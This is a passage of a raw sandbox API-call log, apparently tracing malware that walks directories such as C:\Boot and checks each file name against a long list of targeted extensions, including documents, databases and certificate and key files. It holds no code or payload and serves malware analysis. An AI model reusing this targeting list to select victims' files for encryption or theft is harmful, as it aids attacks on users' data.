[0091.810] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0091.810] lstrlenW (lpString=".onetoc2") returned 8 [0091.810] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0091.810] lstrlenW (lpString=".opt") returned 4 [0091.810] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".oqy") returned 4 [0091.810] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".orf") returned 4 [0091.810] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".p12") returned 4 [0091.810] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".p7b") returned 4 [0091.810] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".p7c") returned 4 [0091.810] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pam") returned 4 [0091.811] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pbm") returned 4 [0091.811] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pct") returned 4 [0091.811] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pcx") returned 4 [0091.811] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pdd") returned 4 [0091.811] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pdf") returned 4 [0091.811] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pdp") returned 4 [0091.811] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pef") returned 4 [0091.811] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pem") returned 4 [0091.811] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pff") returned 4 [0091.811] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pfm") returned 4 [0091.811] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pfx") returned 4 [0091.811] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".pgm") returned 4 [0091.811] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".php") returned 4 [0091.811] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0091.811] lstrlenW (lpString=".php3") returned 5 [0091.811] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0091.811] lstrlenW (lpString=".php4") returned 5 [0091.812] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0091.812] lstrlenW (lpString=".php5") returned 5 [0091.812] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0091.812] lstrlenW (lpString=".phtml") returned 6 [0091.812] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0091.812] lstrlenW (lpString=".pict") returned 5 [0091.812] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0091.812] lstrlenW (lpString=".pl") returned 3 [0091.812] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0091.812] lstrlenW (lpString=".pls") returned 4 [0091.812] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0091.812] lstrlenW (lpString=".pm") returned 3 [0091.812] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0091.812] lstrlenW (lpString=".png") returned 4 [0091.812] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0091.812] lstrlenW (lpString=".pnm") returned 4 [0091.812] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0091.812] lstrlenW (lpString=".pot") returned 4 [0091.812] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0091.812] lstrlenW (lpString=".potm") returned 5 [0091.812] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0091.812] lstrlenW (lpString=".potx") returned 5 [0091.812] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0091.812] lstrlenW (lpString=".ppa") returned 4 [0091.812] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0091.812] lstrlenW (lpString=".ppam") returned 5 [0091.812] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0091.812] lstrlenW (lpString=".ppm") returned 4 [0091.812] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".pps") returned 4 [0091.813] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".ppsm") returned 5 [0091.813] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0091.813] lstrlenW (lpString=".ppt") returned 4 [0091.813] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".pptm") returned 5 [0091.813] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0091.813] lstrlenW (lpString=".pptx") returned 5 [0091.813] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0091.813] lstrlenW (lpString=".prn") returned 4 [0091.813] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".ps") returned 3 [0091.813] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0091.813] lstrlenW (lpString=".psb") returned 4 [0091.813] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".psd") returned 4 [0091.813] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".pst") returned 4 [0091.813] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".ptx") returned 4 [0091.813] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".pub") returned 4 [0091.813] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".pwm") returned 4 [0091.813] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".pxr") returned 4 [0091.813] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0091.813] lstrlenW (lpString=".py") returned 3 [0091.814] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0091.814] lstrlenW (lpString=".qt") returned 3 [0091.814] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0091.814] lstrlenW (lpString=".r3d") returned 4 [0091.814] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0091.814] lstrlenW (lpString=".raf") returned 4 [0091.814] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0091.814] lstrlenW (lpString=".rar") returned 4 [0091.814] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0091.814] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0091.814] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0091.814] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0091.815] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0091.815] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0091.815] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0091.815] lstrlenW (lpString="C:\\Boot\\hr-HR") returned 13 [0091.815] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0091.815] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.815] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0091.815] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0091.815] lstrlenW (lpString=".1cd") returned 4 [0091.816] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0091.816] lstrlenW (lpString=".3ds") returned 4 [0091.816] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0091.816] lstrlenW (lpString=".3fr") returned 4 [0091.816] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0091.816] lstrlenW (lpString=".3g2") returned 4 [0091.816] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0091.816] lstrlenW (lpString=".3gp") returned 4 [0091.816] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0091.816] lstrlenW (lpString=".7z") returned 3 [0091.816] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0091.816] lstrlenW (lpString=".accda") returned 6 [0091.816] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0091.816] lstrlenW (lpString=".accdb") returned 6 [0091.816] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0091.816] lstrlenW (lpString=".accdc") returned 6 [0091.816] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0091.816] lstrlenW (lpString=".accde") returned 6 [0091.816] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0091.816] lstrlenW (lpString=".accdt") returned 6 [0091.816] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0091.816] lstrlenW (lpString=".accdw") returned 6 [0091.816] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0091.816] lstrlenW (lpString=".adb") returned 4 [0091.816] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0091.816] lstrlenW (lpString=".adp") returned 4 [0091.816] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0091.816] lstrlenW (lpString=".ai") returned 3 [0091.816] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0091.816] lstrlenW (lpString=".ai3") returned 4 [0091.816] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".ai4") returned 4 [0091.817] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".ai5") returned 4 [0091.817] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".ai6") returned 4 [0091.817] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".ai7") returned 4 [0091.817] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".ai8") returned 4 [0091.817] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".anim") returned 5 [0091.817] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0091.817] lstrlenW (lpString=".arw") returned 4 [0091.817] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".as") returned 3 [0091.817] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0091.817] lstrlenW (lpString=".asa") returned 4 [0091.817] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".asc") returned 4 [0091.817] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".ascx") returned 5 [0091.817] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0091.817] lstrlenW (lpString=".asm") returned 4 [0091.817] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".asmx") returned 5 [0091.817] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0091.817] lstrlenW (lpString=".asp") returned 4 [0091.817] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0091.817] lstrlenW (lpString=".aspx") returned 5 [0091.817] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0091.817] lstrlenW (lpString=".asr") returned 4 [0091.818] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".asx") returned 4 [0091.818] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".avi") returned 4 [0091.818] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".avs") returned 4 [0091.818] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".backup") returned 7 [0091.818] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0091.818] lstrlenW (lpString=".bak") returned 4 [0091.818] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".bay") returned 4 [0091.818] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".bd") returned 3 [0091.818] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0091.818] lstrlenW (lpString=".bin") returned 4 [0091.818] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".bmp") returned 4 [0091.818] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".bz2") returned 4 [0091.818] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".c") returned 2 [0091.818] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0091.818] lstrlenW (lpString=".cdr") returned 4 [0091.818] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".cer") returned 4 [0091.818] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0091.818] lstrlenW (lpString=".cf") returned 3 [0091.818] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0091.818] lstrlenW (lpString=".cfc") returned 4 [0091.819] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".cfm") returned 4 [0091.819] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".cfml") returned 5 [0091.819] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0091.819] lstrlenW (lpString=".cfu") returned 4 [0091.819] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".chm") returned 4 [0091.819] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".cin") returned 4 [0091.819] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".class") returned 6 [0091.819] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0091.819] lstrlenW (lpString=".clx") returned 4 [0091.819] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".config") returned 7 [0091.819] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0091.819] lstrlenW (lpString=".cpp") returned 4 [0091.819] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".cr2") returned 4 [0091.819] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".crt") returned 4 [0091.819] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".crw") returned 4 [0091.819] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0091.819] lstrlenW (lpString=".cs") returned 3 [0091.819] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0091.819] lstrlenW (lpString=".css") returned 4 [0091.819] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".csv") returned 4 [0091.820] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".cub") returned 4 [0091.820] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dae") returned 4 [0091.820] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dat") returned 4 [0091.820] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".db") returned 3 [0091.820] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0091.820] lstrlenW (lpString=".dbf") returned 4 [0091.820] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dbx") returned 4 [0091.820] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dc3") returned 4 [0091.820] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dcm") returned 4 [0091.820] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dcr") returned 4 [0091.820] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".der") returned 4 [0091.820] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dib") returned 4 [0091.820] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dic") returned 4 [0091.820] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".dif") returned 4 [0091.820] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0091.820] lstrlenW (lpString=".divx") returned 5 [0091.821] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0091.821] lstrlenW (lpString=".djvu") returned 5 [0091.821] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0091.821] lstrlenW (lpString=".dng") returned 4 [0091.821] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".doc") returned 4 [0091.821] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".docm") returned 5 [0091.821] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0091.821] lstrlenW (lpString=".docx") returned 5 [0091.821] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0091.821] lstrlenW (lpString=".dot") returned 4 [0091.821] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".dotm") returned 5 [0091.821] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0091.821] lstrlenW (lpString=".dotx") returned 5 [0091.821] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0091.821] lstrlenW (lpString=".dpx") returned 4 [0091.821] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".dqy") returned 4 [0091.821] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".dsn") returned 4 [0091.821] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".dt") returned 3 [0091.821] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0091.821] lstrlenW (lpString=".dtd") returned 4 [0091.821] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".dwg") returned 4 [0091.821] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0091.821] lstrlenW (lpString=".dwt") returned 4 [0091.822] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".dx") returned 3 [0091.822] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0091.822] lstrlenW (lpString=".dxf") returned 4 [0091.822] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".edml") returned 5 [0091.822] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0091.822] lstrlenW (lpString=".efd") returned 4 [0091.822] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".elf") returned 4 [0091.822] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".emf") returned 4 [0091.822] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".emz") returned 4 [0091.822] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".epf") returned 4 [0091.822] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".eps") returned 4 [0091.822] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".epsf") returned 5 [0091.822] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0091.822] lstrlenW (lpString=".epsp") returned 5 [0091.822] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0091.822] lstrlenW (lpString=".erf") returned 4 [0091.822] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".exr") returned 4 [0091.822] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0091.822] lstrlenW (lpString=".f4v") returned 4 [0091.822] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".fido") returned 5 [0091.823] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0091.823] lstrlenW (lpString=".flm") returned 4 [0091.823] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".flv") returned 4 [0091.823] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".frm") returned 4 [0091.823] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".fxg") returned 4 [0091.823] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".geo") returned 4 [0091.823] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".gif") returned 4 [0091.823] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".grs") returned 4 [0091.823] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".gz") returned 3 [0091.823] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0091.823] lstrlenW (lpString=".h") returned 2 [0091.823] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0091.823] lstrlenW (lpString=".hdr") returned 4 [0091.823] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".hpp") returned 4 [0091.823] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".hta") returned 4 [0091.823] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".htc") returned 4 [0091.823] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0091.823] lstrlenW (lpString=".htm") returned 4 [0091.824] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".html") returned 5 [0091.824] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0091.824] lstrlenW (lpString=".icb") returned 4 [0091.824] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".ics") returned 4 [0091.824] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".iff") returned 4 [0091.824] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".inc") returned 4 [0091.824] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".indd") returned 5 [0091.824] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0091.824] lstrlenW (lpString=".ini") returned 4 [0091.824] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".iqy") returned 4 [0091.824] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".j2c") returned 4 [0091.824] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".j2k") returned 4 [0091.824] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".java") returned 5 [0091.824] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0091.824] lstrlenW (lpString=".jp2") returned 4 [0091.824] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".jpc") returned 4 [0091.824] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".jpe") returned 4 [0091.824] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0091.824] lstrlenW (lpString=".jpeg") returned 5 [0091.825] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0091.825] lstrlenW (lpString=".jpf") returned 4 [0091.825] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".jpg") returned 4 [0091.825] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".jpx") returned 4 [0091.825] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".js") returned 3 [0091.825] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0091.825] lstrlenW (lpString=".jsf") returned 4 [0091.825] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".json") returned 5 [0091.825] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0091.825] 